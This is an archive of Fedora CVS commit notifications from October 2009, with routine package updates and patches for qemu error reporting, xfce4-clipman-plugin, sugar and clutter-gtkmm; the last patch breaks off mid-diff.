>From a40f520f7b94d2a5de04c7ca3a7513a99c84e9ef Mon Sep 17 00:00:00 2001
From: Justin M. Forbes <jforbes at redhat.com>
Date: Thu, 1 Oct 2009 16:13:56 -0500
Subject: [PATCH] Improve error reporting on file access

By making the error reporting include strerror(errno), it gives the user
a bit more indication as to why qemu failed.  This is particularly
important for people running qemu as a non root user.

Signed-off-by: Justin M. Forbes <jforbes at redhat.com>
---
 hw/pc.c |   12 ++++++------
 vl.c    |   20 ++++++++++----------
 2 files changed, 16 insertions(+), 16 deletions(-)

diff --git a/hw/pc.c b/hw/pc.c
index 3b226f4..7a184cd 100644
--- a/hw/pc.c
+++ b/hw/pc.c
@@ -841,8 +841,8 @@ static void load_linux(void *fw_cfg,
     if (!f || !(kernel_size = get_file_size(f)) ||
 	fread(header, 1, MIN(ARRAY_SIZE(header), kernel_size), f) !=
 	MIN(ARRAY_SIZE(header), kernel_size)) {
-	fprintf(stderr, "qemu: could not load kernel '%s'\n",
-		kernel_filename);
+	fprintf(stderr, "qemu: could not load kernel '%s': %s\n",
+		kernel_filename, strerror(errno));
 	exit(1);
     }

@@ -947,8 +947,8 @@ static void load_linux(void *fw_cfg,

 	fi = fopen(initrd_filename, "rb");
 	if (!fi) {
-	    fprintf(stderr, "qemu: could not load initial ram disk '%s'\n",
-		    initrd_filename);
+	    fprintf(stderr, "qemu: could not load initial ram disk '%s': %s\n",
+		    initrd_filename, strerror(errno));
 	    exit(1);
 	}

@@ -956,8 +956,8 @@ static void load_linux(void *fw_cfg,
 	initrd_addr = (initrd_max-initrd_size) & ~4095;

 	if (!fread_targphys_ok(initrd_addr, initrd_size, fi)) {
-	    fprintf(stderr, "qemu: read error on initial ram disk '%s'\n",
-		    initrd_filename);
+	    fprintf(stderr, "qemu: read error on initial ram disk '%s': %s\n",
+		    initrd_filename, strerror(errno));
 	    exit(1);
 	}
 	fclose(fi);
diff --git a/vl.c b/vl.c
index d7c7ab1..9182d89 100644
--- a/vl.c
+++ b/vl.c
@@ -2379,8 +2379,8 @@ int drive_init(struct drive_opt *arg, int snapshot, void *opaque)
     else if (cache == 2) /* write-back */
         bdrv_flags |= BDRV_O_CACHE_WB;
     if (bdrv_open2(bdrv, file, bdrv_flags, drv) < 0) {
-        fprintf(stderr, "qemu: could not open disk image %s\n",
-                        file);
+        fprintf(stderr, "qemu: could not open disk image %s: %s\n",
+                        file, strerror(errno));
         return -1;
     }
     if (bdrv_key_required(bdrv))
@@ -5799,7 +5799,7 @@ int main(int argc, char **argv, char **envp)
             if (len != 1)
                 exit(1);
             else if (status == 1) {
-                fprintf(stderr, "Could not acquire pidfile\n");
+                fprintf(stderr, "Could not acquire pidfile: %s\n", strerror(errno));
                 exit(1);
             } else
                 exit(0);
@@ -5826,7 +5826,7 @@ int main(int argc, char **argv, char **envp)
             uint8_t status = 1;
             write(fds[1], &status, 1);
         } else
-            fprintf(stderr, "Could not acquire pid file\n");
+            fprintf(stderr, "Could not acquire pid file: %s\n", strerror(errno));
         exit(1);
     }
 #endif
@@ -6031,8 +6031,8 @@ int main(int argc, char **argv, char **envp)
             snprintf(label, sizeof(label), "serial%d", i);
             serial_hds[i] = qemu_chr_open(label, devname, NULL);
             if (!serial_hds[i]) {
-                fprintf(stderr, "qemu: could not open serial device '%s'\n",
-                        devname);
+                fprintf(stderr, "qemu: could not open serial device '%s': %s\n",
+                        devname, strerror(errno));
                 exit(1);
             }
         }
@@ -6045,8 +6045,8 @@ int main(int argc, char **argv, char **envp)
             snprintf(label, sizeof(label), "parallel%d", i);
             parallel_hds[i] = qemu_chr_open(label, devname, NULL);
             if (!parallel_hds[i]) {
-                fprintf(stderr, "qemu: could not open parallel device '%s'\n",
-                        devname);
+                fprintf(stderr, "qemu: could not open parallel device '%s': %s\n",
+                        devname, strerror(errno));
                 exit(1);
             }
         }
@@ -6059,8 +6059,8 @@ int main(int argc, char **argv, char **envp)
             snprintf(label, sizeof(label), "virtcon%d", i);
             virtcon_hds[i] = qemu_chr_open(label, devname, NULL);
             if (!virtcon_hds[i]) {
-                fprintf(stderr, "qemu: could not open virtio console '%s'\n",
-                        devname);
+                fprintf(stderr, "qemu: could not open virtio console '%s': %s\n",
+                        devname, strerror(errno));
                 exit(1);
             }
         }
-- 
1.6.2.5



Index: qemu.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/F-12/qemu.spec,v
retrieving revision 1.135
retrieving revision 1.136
diff -u -p -r1.135 -r1.136
--- qemu.spec	28 Sep 2009 17:13:52 -0000	1.135
+++ qemu.spec	1 Oct 2009 21:29:40 -0000	1.136
@@ -43,6 +43,9 @@ Patch05: qemu-correctly-free-nic-info-st
 Patch06: qemu-do-not-exit-on-pci-hotplug-invalid-nic1.patch
 Patch07: qemu-do-not-exit-on-pci-hotplug-invalid-nic2.patch
 
+# Improve error reporting on file access
+Patch08: qemu-improve-error-reporting-on-file-access.patch
+
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: SDL-devel zlib-devel which texi2html gnutls-devel cyrus-sasl-devel
 BuildRequires: rsync dev86 iasl
@@ -233,6 +236,7 @@ such as kvmtrace and kvm_stat.
 %patch05 -p1
 %patch06 -p1
 %patch07 -p1
+%patch08 -p1
 
 %build
 # systems like rhel build system does not have a recent enough linker so
@@ -526,6 +530,9 @@ fi
 %{_mandir}/man1/qemu-img.1*
 
 %changelog
+* Thu Oct  1 2009 Justin M. Forbes <jmforbes at redhat.com> - 2:0.11.0-3
+- Improve error reporting on file access (#524695)
+
 * Mon Sep 28 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.11.0-2
 - Fix pci hotplug to not exit if supplied an invalid NIC model (#524022)
 



From jforbes at fedoraproject.org  Thu Oct  1 21:32:06 2009
From: jforbes at fedoraproject.org (Justin M. Forbes)
Date: Thu,  1 Oct 2009 21:32:06 +0000 (UTC)
Subject: rpms/qemu/devel qemu-improve-error-reporting-on-file-access.patch, 
	NONE, 1.1 qemu.spec, 1.135, 1.136
Message-ID: <20091001213206.D8A2911C0261@cvs1.fedora.phx.redhat.com>

Author: jforbes

Update of /cvs/pkgs/rpms/qemu/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27594

Modified Files:
	qemu.spec 
Added Files:
	qemu-improve-error-reporting-on-file-access.patch 
Log Message:
Improve error reporting on file access (#524695)

qemu-improve-error-reporting-on-file-access.patch:
 hw/pc.c |   12 ++++++------
 vl.c    |   21 ++++++++++-----------
 2 files changed, 16 insertions(+), 17 deletions(-)

--- NEW FILE qemu-improve-error-reporting-on-file-access.patch ---
>From a40f520f7b94d2a5de04c7ca3a7513a99c84e9ef Mon Sep 17 00:00:00 2001
From: Justin M. Forbes <jforbes at redhat.com>
Date: Thu, 1 Oct 2009 16:13:56 -0500
Subject: [PATCH] Improve error reporting on file access

By making the error reporting include strerror(errno), it gives the user
a bit more indication as to why qemu failed.  This is particularly
important for people running qemu as a non root user.

Signed-off-by: Justin M. Forbes <jforbes at redhat.com>
---
 hw/pc.c |   12 ++++++------
 vl.c    |   20 ++++++++++----------
 2 files changed, 16 insertions(+), 16 deletions(-)

diff --git a/hw/pc.c b/hw/pc.c
index 3b226f4..7a184cd 100644
--- a/hw/pc.c
+++ b/hw/pc.c
@@ -841,8 +841,8 @@ static void load_linux(void *fw_cfg,
     if (!f || !(kernel_size = get_file_size(f)) ||
 	fread(header, 1, MIN(ARRAY_SIZE(header), kernel_size), f) !=
 	MIN(ARRAY_SIZE(header), kernel_size)) {
-	fprintf(stderr, "qemu: could not load kernel '%s'\n",
-		kernel_filename);
+	fprintf(stderr, "qemu: could not load kernel '%s': %s\n",
+		kernel_filename, strerror(errno));
 	exit(1);
     }

@@ -947,8 +947,8 @@ static void load_linux(void *fw_cfg,

 	fi = fopen(initrd_filename, "rb");
 	if (!fi) {
-	    fprintf(stderr, "qemu: could not load initial ram disk '%s'\n",
-		    initrd_filename);
+	    fprintf(stderr, "qemu: could not load initial ram disk '%s': %s\n",
+		    initrd_filename, strerror(errno));
 	    exit(1);
 	}

@@ -956,8 +956,8 @@ static void load_linux(void *fw_cfg,
 	initrd_addr = (initrd_max-initrd_size) & ~4095;

 	if (!fread_targphys_ok(initrd_addr, initrd_size, fi)) {
-	    fprintf(stderr, "qemu: read error on initial ram disk '%s'\n",
-		    initrd_filename);
+	    fprintf(stderr, "qemu: read error on initial ram disk '%s': %s\n",
+		    initrd_filename, strerror(errno));
 	    exit(1);
 	}
 	fclose(fi);
diff --git a/vl.c b/vl.c
index d7c7ab1..9182d89 100644
--- a/vl.c
+++ b/vl.c
@@ -2379,8 +2379,8 @@ int drive_init(struct drive_opt *arg, int snapshot, void *opaque)
     else if (cache == 2) /* write-back */
         bdrv_flags |= BDRV_O_CACHE_WB;
     if (bdrv_open2(bdrv, file, bdrv_flags, drv) < 0) {
-        fprintf(stderr, "qemu: could not open disk image %s\n",
-                        file);
+        fprintf(stderr, "qemu: could not open disk image %s: %s\n",
+                        file, strerror(errno));
         return -1;
     }
     if (bdrv_key_required(bdrv))
@@ -5799,7 +5799,7 @@ int main(int argc, char **argv, char **envp)
             if (len != 1)
                 exit(1);
             else if (status == 1) {
-                fprintf(stderr, "Could not acquire pidfile\n");
+                fprintf(stderr, "Could not acquire pidfile: %s\n", strerror(errno));
                 exit(1);
             } else
                 exit(0);
@@ -5826,7 +5826,7 @@ int main(int argc, char **argv, char **envp)
             uint8_t status = 1;
             write(fds[1], &status, 1);
         } else
-            fprintf(stderr, "Could not acquire pid file\n");
+            fprintf(stderr, "Could not acquire pid file: %s\n", strerror(errno));
         exit(1);
     }
 #endif
@@ -6031,8 +6031,8 @@ int main(int argc, char **argv, char **envp)
             snprintf(label, sizeof(label), "serial%d", i);
             serial_hds[i] = qemu_chr_open(label, devname, NULL);
             if (!serial_hds[i]) {
-                fprintf(stderr, "qemu: could not open serial device '%s'\n",
-                        devname);
+                fprintf(stderr, "qemu: could not open serial device '%s': %s\n",
+                        devname, strerror(errno));
                 exit(1);
             }
         }
@@ -6045,8 +6045,8 @@ int main(int argc, char **argv, char **envp)
             snprintf(label, sizeof(label), "parallel%d", i);
             parallel_hds[i] = qemu_chr_open(label, devname, NULL);
             if (!parallel_hds[i]) {
-                fprintf(stderr, "qemu: could not open parallel device '%s'\n",
-                        devname);
+                fprintf(stderr, "qemu: could not open parallel device '%s': %s\n",
+                        devname, strerror(errno));
                 exit(1);
             }
         }
@@ -6059,8 +6059,8 @@ int main(int argc, char **argv, char **envp)
             snprintf(label, sizeof(label), "virtcon%d", i);
             virtcon_hds[i] = qemu_chr_open(label, devname, NULL);
             if (!virtcon_hds[i]) {
-                fprintf(stderr, "qemu: could not open virtio console '%s'\n",
-                        devname);
+                fprintf(stderr, "qemu: could not open virtio console '%s': %s\n",
+                        devname, strerror(errno));
                 exit(1);
             }
         }
-- 
1.6.2.5



Index: qemu.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/devel/qemu.spec,v
retrieving revision 1.135
retrieving revision 1.136
diff -u -p -r1.135 -r1.136
--- qemu.spec	28 Sep 2009 17:13:52 -0000	1.135
+++ qemu.spec	1 Oct 2009 21:32:06 -0000	1.136
@@ -43,6 +43,9 @@ Patch05: qemu-correctly-free-nic-info-st
 Patch06: qemu-do-not-exit-on-pci-hotplug-invalid-nic1.patch
 Patch07: qemu-do-not-exit-on-pci-hotplug-invalid-nic2.patch
 
+# Improve error reporting on file access
+Patch08: qemu-improve-error-reporting-on-file-access.patch
+
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: SDL-devel zlib-devel which texi2html gnutls-devel cyrus-sasl-devel
 BuildRequires: rsync dev86 iasl
@@ -233,6 +236,7 @@ such as kvmtrace and kvm_stat.
 %patch05 -p1
 %patch06 -p1
 %patch07 -p1
+%patch08 -p1
 
 %build
 # systems like rhel build system does not have a recent enough linker so
@@ -526,6 +530,9 @@ fi
 %{_mandir}/man1/qemu-img.1*
 
 %changelog
+* Thu Oct  1 2009 Justin M. Forbes <jmforbes at redhat.com> - 2:0.11.0-3
+- Improve error reporting on file access (#524695)
+
 * Mon Sep 28 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.11.0-2
 - Fix pci hotplug to not exit if supplied an invalid NIC model (#524022)
 



From cwickert at fedoraproject.org  Thu Oct  1 21:41:26 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Thu,  1 Oct 2009 21:41:26 +0000 (UTC)
Subject: rpms/xfce4-clipman-plugin/devel .cvsignore, 1.11, 1.12 sources, 1.11,
	1.12 xfce4-clipman-plugin.spec, 1.25, 1.26
Message-ID: <20091001214126.6F60111C0261@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/xfce4-clipman-plugin/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31078

Modified Files:
	.cvsignore sources xfce4-clipman-plugin.spec 
Log Message:
* Thu Oct 01 2009 Christoph Wickert <cwickert at fedoraproject.org> - 1.1.1-1
- Update to 1.1.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xfce4-clipman-plugin/devel/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	4 Sep 2009 22:04:49 -0000	1.11
+++ .cvsignore	1 Oct 2009 21:41:26 -0000	1.12
@@ -1 +1 @@
-xfce4-clipman-plugin-1.1.0.tar.bz2
+xfce4-clipman-plugin-1.1.1.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xfce4-clipman-plugin/devel/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	4 Sep 2009 22:04:49 -0000	1.11
+++ sources	1 Oct 2009 21:41:26 -0000	1.12
@@ -1 +1 @@
-bf038078ec3566c06d2ef400a91756d1  xfce4-clipman-plugin-1.1.0.tar.bz2
+0884207cabd3a3a94c86b919bbf1617b  xfce4-clipman-plugin-1.1.1.tar.bz2


Index: xfce4-clipman-plugin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xfce4-clipman-plugin/devel/xfce4-clipman-plugin.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- xfce4-clipman-plugin.spec	5 Sep 2009 01:16:55 -0000	1.25
+++ xfce4-clipman-plugin.spec	1 Oct 2009 21:41:26 -0000	1.26
@@ -1,5 +1,5 @@
 Name:           xfce4-clipman-plugin
-Version:        1.1.0
+Version:        1.1.1
 Release:        1%{?dist}
 Summary:        Clipboard manager plugin for the Xfce panel
 
@@ -86,6 +86,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 
 
 %changelog
+* Thu Oct 01 2009 Christoph Wickert <cwickert at fedoraproject.org> - 1.1.1-1
+- Update to 1.1.1
+
 * Fri Sep 04 2009 Christoph Wickert <cwickert at fedoraproject.org> - 1.1.0-1
 - Update to 1.1.0
 



From erikos at fedoraproject.org  Thu Oct  1 21:51:13 2009
From: erikos at fedoraproject.org (Simon Schampijer)
Date: Thu,  1 Oct 2009 21:51:13 +0000 (UTC)
Subject: rpms/sugar/F-12 sugar.spec,1.75,1.76
Message-ID: <20091001215113.A885011C043C@cvs1.fedora.phx.redhat.com>

Author: erikos

Update of /cvs/pkgs/rpms/sugar/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv827

Modified Files:
	sugar.spec 
Log Message:
* Thu Oct 01 2009 Simon Schampijer <simon at schampijer.de> - 0.86.1-2
- added sugar-xo.svg icon to the emulator package




Index: sugar.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sugar/F-12/sugar.spec,v
retrieving revision 1.75
retrieving revision 1.76
diff -u -p -r1.75 -r1.76
--- sugar.spec	1 Oct 2009 21:25:07 -0000	1.75
+++ sugar.spec	1 Oct 2009 21:51:13 -0000	1.76
@@ -6,7 +6,7 @@
 Summary: Constructionist learning platform
 Name: sugar
 Version: 0.86.1
-Release: 1%{?dist}
+Release: 2%{?dist}
 #Release: 4.%{alphatag}%{?dist}
 URL: http://sugarlabs.org/
 # git clone git://dev.laptop.org/sugar
@@ -141,8 +141,12 @@ rm -rf %{buildroot}
 %defattr(-,root,root,-)
 %{_bindir}/sugar-emulator
 %{_datadir}/applications/sugar-emulator.desktop
+%{_datadir}icons/hicolor/scalable/apps/sugar-xo.svg
 
 %changelog
+* Thu Oct 01 2009 Simon Schampijer <simon at schampijer.de> - 0.86.1-2
+- added sugar-xo.svg icon to the emulator package
+
 * Thu Oct 01 2009 Simon Schampijer <simon at schampijer.de> - 0.86.1-1
 - Activities tray doesn't reflect well on switching between windows if 
 there are non-sugar ones #1444



From kkofler at fedoraproject.org  Thu Oct  1 21:58:35 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Thu,  1 Oct 2009 21:58:35 +0000 (UTC)
Subject: rpms/clutter-gtkmm/F-12 clutter-gtkmm-0.9.4-clutter-gtk-0.10.patch, 
	NONE, 1.1 clutter-gtkmm.spec, 1.5, 1.6
Message-ID: <20091001215835.7B80311C0261@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/clutter-gtkmm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3721/F-12

Modified Files:
	clutter-gtkmm.spec 
Added Files:
	clutter-gtkmm-0.9.4-clutter-gtk-0.10.patch 
Log Message:
* Thu Oct  1 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 0.9.4-3
- Backport build fixes for clutter-gtk 0.10 from upstream trunk

This should fix the longstanding broken dependency in Rawhide.

clutter-gtkmm-0.9.4-clutter-gtk-0.10.patch:
 ChangeLog                            |   18 ++++++++----
 clutter-gtk/clutter-gtkmm.pc.in      |    2 -
 clutter-gtk/clutter-gtkmm/utility.cc |   51 ++++++++++++++++++++++++++++++-----
 configure.in                         |    2 -
 examples/events/event.cc             |    8 ++---
 5 files changed, 64 insertions(+), 17 deletions(-)

--- NEW FILE clutter-gtkmm-0.9.4-clutter-gtk-0.10.patch ---
diff --git a/ChangeLog b/ChangeLog
index 43d605a..18701cd 100644
--- a/ChangeLog
+++ b/ChangeLog
@@ -1,8 +1,16 @@
-0.9.4:
-
-2009-06-25  Murray Cumming  <murrayc at murrayc.com>
-
-	* examples/events/event.cc: Fixed the build with the latest cluttermm.
+2009-08-26  Murray Cumming  <murrayc at murrayc.com>
+
+	Use clutter-gtk-0.10.
+	
+	* configure.in: Use clutter-gtk-0.10 instead of clutter-gtk-0.9.
+	* clutter-gtk/clutter-gtkmm.pc.in: Use clutter-gtk-0.10.
+	
+2009-07-29  Siavash Safi  <siavashs at siavashs.org>
+
+	* clutter-gtk/clutter-gtkmm/utility.cc: Updated several functions to add
+	the GError argument
+	* examples/events/event.cc: Updated to build against the new cluttermm
+	trunk(patch by Milosz Derezynski)
 
 0.9.3:
 
diff --git a/clutter-gtk/clutter-gtkmm.pc.in b/clutter-gtk/clutter-gtkmm.pc.in
index c47c975..830a3fa 100644
--- a/clutter-gtk/clutter-gtkmm.pc.in
+++ b/clutter-gtk/clutter-gtkmm.pc.in
@@ -5,7 +5,7 @@ includedir=@includedir@
 
 Name: clutter-gtkmm
 Description: C++ wrapper for clutter
-Requires: clutter-gtk- at API_VER@ cluttermm- at API_VER@ gtkmm-2.4
+Requires: clutter-gtk-0.10 cluttermm- at API_VER@ gtkmm-2.4
 Version: @VERSION@
 Libs: -L${libdir} -lclutter-gtkmm- at API_VER@
 Cflags: -I${includedir}/clutter-gtkmm- at API_VER@
diff --git a/clutter-gtk/clutter-gtkmm/utility.cc b/clutter-gtk/clutter-gtkmm/utility.cc
index a448e3e..0c4b62e 100644
--- a/clutter-gtk/clutter-gtkmm/utility.cc
+++ b/clutter-gtk/clutter-gtkmm/utility.cc
@@ -80,19 +80,58 @@ Glib::RefPtr<Texture> create_texture_from_icon_name(::Gtk::Widget& widget, const
   return Glib::wrap(CLUTTER_TEXTURE(gtk_clutter_texture_new_from_icon_name(widget.gobj(), icon_name.c_str(), GtkIconSize(int(size)))));
 }
 
+#ifdef GLIBMM_EXCEPTIONS_ENABLED
 void set_texture_from_pixbuf(const Glib::RefPtr<Texture>& texture, const Glib::RefPtr<Gdk::Pixbuf>& pixbuf)
-{
-  gtk_clutter_texture_set_from_pixbuf(texture->gobj(), pixbuf->gobj());
+#else
+void set_texture_from_pixbuf(const Glib::RefPtr<Texture>& texture, const Glib::RefPtr<Gdk::Pixbuf>& pixbuf, std::auto_ptr<Glib::Error>& error)
+#endif
+{
+  GError* gerror = 0;
+  gtk_clutter_texture_set_from_pixbuf(texture->gobj(), pixbuf->gobj(), &gerror);
+
+#ifdef GLIBMM_EXCEPTIONS_ENABLED
+  if(gerror)
+    ::Glib::Error::throw_exception(gerror);
+#else
+  if(gerror)
+    error = ::Glib::Error::throw_exception(gerror);
+#endif // GLIBMM_EXCEPTIONS_ENABLED
 }
 
+#ifdef GLIBMM_EXCEPTIONS_ENABLED
 void set_texture_from_stock(const Glib::RefPtr<Texture>& texture, ::Gtk::Widget& widget, const Glib::ustring& stock_id, ::Gtk::IconSize size)
-{
-  gtk_clutter_texture_set_from_stock(texture->gobj(), widget.gobj(), stock_id.c_str(), GtkIconSize(int(size)));
+#else
+void set_texture_from_stock(const Glib::RefPtr<Texture>& texture, ::Gtk::Widget& widget, const Glib::ustring& stock_id, ::Gtk::IconSize size, std::auto_ptr<Glib::Error>& error)
+#endif
+{
+  GError* gerror = 0;
+  gtk_clutter_texture_set_from_stock(texture->gobj(), widget.gobj(), stock_id.c_str(), GtkIconSize(int(size)), &gerror);
+
+#ifdef GLIBMM_EXCEPTIONS_ENABLED
+  if(gerror)
+    ::Glib::Error::throw_exception(gerror);
+#else
+  if(gerror)
+    error = ::Glib::Error::throw_exception(gerror);
+#endif // GLIBMM_EXCEPTIONS_ENABLED
 }
 
+#ifdef GLIBMM_EXCEPTIONS_ENABLED
 void set_texture_from_icon_name(const Glib::RefPtr<Texture>& texture, ::Gtk::Widget& widget, const Glib::ustring& icon_name, ::Gtk::IconSize size)
-{
-  gtk_clutter_texture_set_from_icon_name(texture->gobj(), widget.gobj(), icon_name.c_str(), GtkIconSize(int(size)));
+#else
+void set_texture_from_icon_name(const Glib::RefPtr<Texture>& texture, ::Gtk::Widget& widget, const Glib::ustring& icon_name, ::Gtk::IconSize size, std::auto_ptr<Glib::Error>& error)
+#endif
+{
+  GError* gerror = 0;
+  gtk_clutter_texture_set_from_icon_name(texture->gobj(), widget.gobj(), icon_name.c_str(), GtkIconSize(int(size)), &gerror);
+
+#ifdef GLIBMM_EXCEPTIONS_ENABLED
+  if(gerror)
+    ::Glib::Error::throw_exception(gerror);
+#else
+  if(gerror)
+    error = ::Glib::Error::throw_exception(gerror);
+#endif // GLIBMM_EXCEPTIONS_ENABLED
 }
 
 } //namespace Gtk
diff --git a/configure.in b/configure.in
index 0d61ba5..79d9e88 100644
--- a/configure.in
+++ b/configure.in
@@ -74,7 +74,7 @@ AC_CHECK_PROGS(PERL, perl5 perl)
 PKG_CHECK_MODULES(CLUTTER_GTKMM,
                   [gtkmm-2.4
                    cluttermm-0.9
-                   clutter-gtk-0.9 >= 0.9.1])
+                   clutter-gtk-0.10 >= 0.10.2])
 AC_SUBST(CLUTTER_GTKMM_CFLAGS)
 AC_SUBST(CLUTTER_GTKMM_LIBS)
 
diff --git a/examples/events/event.cc b/examples/events/event.cc
index 0c188dc..914b98f 100644
--- a/examples/events/event.cc
+++ b/examples/events/event.cc
@@ -44,8 +44,8 @@ Event::Event()
     g_error("Unable to load pixbuf\n");
 
   m_stage->add_actor(m_hand);
-  float width = 0;
-  float height = 0;
+  gfloat width = 0;
+  gfloat height = 0;
   m_hand->get_size(width, height);
   m_hand->set_position((CLUTTER_STAGE_WIDTH()/2) - (width/2), (CLUTTER_STAGE_HEIGHT()/2) - (height/2));
   m_hand->set_reactive();
@@ -105,8 +105,8 @@ bool Event::on_stage_capture(Clutter::Event* event)
 {
   if(event->type == CLUTTER_BUTTON_RELEASE)
   {
-    float x = 0;
-    float y = 0;
+    gfloat x = 0;
+    gfloat y = 0;
     clutter_event_get_coords(event, &x, &y);
 
     std::cout << "Event captured at (" << x << ", " << y << ")" << std::endl;


Index: clutter-gtkmm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/clutter-gtkmm/F-12/clutter-gtkmm.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- clutter-gtkmm.spec	24 Jul 2009 19:10:11 -0000	1.5
+++ clutter-gtkmm.spec	1 Oct 2009 21:58:34 -0000	1.6
@@ -2,7 +2,7 @@
 
 Name:           clutter-gtkmm
 Version:        0.9.4
-Release:        2%{?dist}
+Release:        3%{?dist}
 
 Summary:        C++ wrapper for clutter-gtk library
 
@@ -10,9 +10,11 @@ Group:          System Environment/Libra
 License:        LGPLv2+
 URL:            http://www.gtkmm.org/
 Source0:        http://ftp.gnome.org/pub/GNOME/sources/clutter-gtkmm/0.9/%{name}-%{version}.tar.bz2
+# build against clutter-gtk 0.10
+Patch0:         clutter-gtkmm-0.9.4-clutter-gtk-0.10.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires: clutter-gtk-devel >= 0.9.1
+BuildRequires: clutter-gtk-devel >= 0.10
 BuildRequires: cluttermm-devel >= 0.9
 BuildRequires: gtkmm24-devel
 BuildRequires: doxygen graphviz
@@ -42,6 +44,7 @@ developing %{name} applications.
 
 %prep
 %setup -q
+%patch0 -p1 -b .cluttergtk010
 
 
 %build
@@ -88,6 +91,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct  1 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 0.9.4-3
+- Backport build fixes for clutter-gtk 0.10 from upstream trunk
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.4-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From kkofler at fedoraproject.org  Thu Oct  1 21:58:35 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Thu,  1 Oct 2009 21:58:35 +0000 (UTC)
Subject: rpms/clutter-gtkmm/devel clutter-gtkmm-0.9.4-clutter-gtk-0.10.patch,
	NONE, 1.1 clutter-gtkmm.spec, 1.5, 1.6
Message-ID: <20091001215835.8837511C0333@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/clutter-gtkmm/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3721/devel

Modified Files:
	clutter-gtkmm.spec 
Added Files:
	clutter-gtkmm-0.9.4-clutter-gtk-0.10.patch 
Log Message:
* Thu Oct  1 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 0.9.4-3
- Backport build fixes for clutter-gtk 0.10 from upstream trunk

This should fix the longstanding broken dependency in Rawhide.

clutter-gtkmm-0.9.4-clutter-gtk-0.10.patch:
 ChangeLog                            |   18 ++++++++----
 clutter-gtk/clutter-gtkmm.pc.in      |    2 -
 clutter-gtk/clutter-gtkmm/utility.cc |   51 ++++++++++++++++++++++++++++++-----
 configure.in                         |    2 -
 examples/events/event.cc             |    8 ++---
 5 files changed, 64 insertions(+), 17 deletions(-)

--- NEW FILE clutter-gtkmm-0.9.4-clutter-gtk-0.10.patch ---
diff --git a/ChangeLog b/ChangeLog
index 43d605a..18701cd 100644
--- a/ChangeLog
+++ b/ChangeLog
@@ -1,8 +1,16 @@
-0.9.4:
-
-2009-06-25  Murray Cumming  <murrayc at murrayc.com>
-
-	* examples/events/event.cc: Fixed the build with the latest cluttermm.
+2009-08-26  Murray Cumming  <murrayc at murrayc.com>
+
+	Use clutter-gtk-0.10.
+	
+	* configure.in: Use clutter-gtk-0.10 instead of clutter-gtk-0.9.
+	* clutter-gtk/clutter-gtkmm.pc.in: Use clutter-gtk-0.10.
+	
+2009-07-29  Siavash Safi  <siavashs at siavashs.org>
+
+	* clutter-gtk/clutter-gtkmm/utility.cc: Updated several functions to add
+	the GError argument
+	* examples/events/event.cc: Updated to build against the new cluttermm
+	trunk(patch by Milosz Derezynski)
 
 0.9.3:
 
diff --git a/clutter-gtk/clutter-gtkmm.pc.in b/clutter-gtk/clutter-gtkmm.pc.in
index c47c975..830a3fa 100644
--- a/clutter-gtk/clutter-gtkmm.pc.in
+++ b/clutter-gtk/clutter-gtkmm.pc.in
@@ -5,7 +5,7 @@ includedir=@includedir@
 
 Name: clutter-gtkmm
 Description: C++ wrapper for clutter
-Requires: clutter-gtk- at API_VER@ cluttermm- at API_VER@ gtkmm-2.4
+Requires: clutter-gtk-0.10 cluttermm- at API_VER@ gtkmm-2.4
 Version: @VERSION@
 Libs: -L${libdir} -lclutter-gtkmm- at API_VER@
 Cflags: -I${includedir}/clutter-gtkmm- at API_VER@
diff --git a/clutter-gtk/clutter-gtkmm/utility.cc b/clutter-gtk/clutter-gtkmm/utility.cc
index a448e3e..0c4b62e 100644
--- a/clutter-gtk/clutter-gtkmm/utility.cc
+++ b/clutter-gtk/clutter-gtkmm/utility.cc
@@ -80,19 +80,58 @@ Glib::RefPtr<Texture> create_texture_from_icon_name(::Gtk::Widget& widget, const
   return Glib::wrap(CLUTTER_TEXTURE(gtk_clutter_texture_new_from_icon_name(widget.gobj(), icon_name.c_str(), GtkIconSize(int(size)))));
 }
 
+#ifdef GLIBMM_EXCEPTIONS_ENABLED
 void set_texture_from_pixbuf(const Glib::RefPtr<Texture>& texture, const Glib::RefPtr<Gdk::Pixbuf>& pixbuf)
-{
